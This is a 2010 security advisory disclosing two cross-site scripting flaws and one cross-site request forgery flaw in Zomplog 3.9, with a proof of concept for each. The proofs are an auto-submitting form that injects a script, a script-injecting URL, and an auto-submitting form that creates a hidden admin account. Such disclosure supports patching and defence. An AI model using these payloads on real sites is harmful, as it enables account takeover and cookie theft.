Zomplog 3.9 – Multiple Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities
Vulnerability ID: HTB22643 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog_1.html Product: Zomplog Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/settings_menu.php" script to properly sanitize user-supplied input in "about" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/settings_menu.php" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="Submit" value="Submit ››"> <input type="hidden" name="search" value="1"> <input type="hidden" name="teasers" value="1"> <input type="hidden" name="archive" value="1"> <input type="hidden" name="latestentries" value="1"> <input type="hidden" name="nr_entries" value="10"> <input type="hidden" name="latestcomments" value="1"> <input type="hidden" name="nr_comments" value="10"> <input type="hidden" name="categories" value="1"> <input type="hidden" name="authors" value="1"> <input type="hidden" name="pages" value="1"> <input type="hidden" name="meta" value="1"> <input type="hidden" name="login" value="1"> <input type="hidden" name="use_join" value="1"> <input type="hidden" name="powered" value="1"> <input type="hidden" name="about" value='about"><script>alert(document.cookie)</script>'> <input type="hidden" name="customfield" value="customfield"> </form> <script> document.main.submit(); </script> ----------------------------------------------------------------------------------------------------------------- Vulnerability ID: HTB22644 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_zomplog_2.html Product: Zomplog Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/editor_pages.php" script to properly sanitize user-supplied input in "id" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: http://host/admin/editor_pages.php?id=1'"><script>alert(document.cookie)</script> ----------------------------------------------------------------------------------------------------------------- Vulnerability ID: HTB22645 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zomplog.html Product: Zomplog Vendor: Gerben Schmidt ( http://www.zomp.nl/zomplog/ ) Vulnerable Version: 3.9 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/admin/users.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/users.php" method="post"> <input type="hidden" name="login" value="newuserlogin"> <input type="hidden" name="password" value="password"> <input type="hidden" name="password2" value="password"> <input type="hidden" name="admin" value="1"> <input type="submit" id="btn" name="submit" value="Submit ››"> </form> <script> document.getElementById('btn').click(); </script> |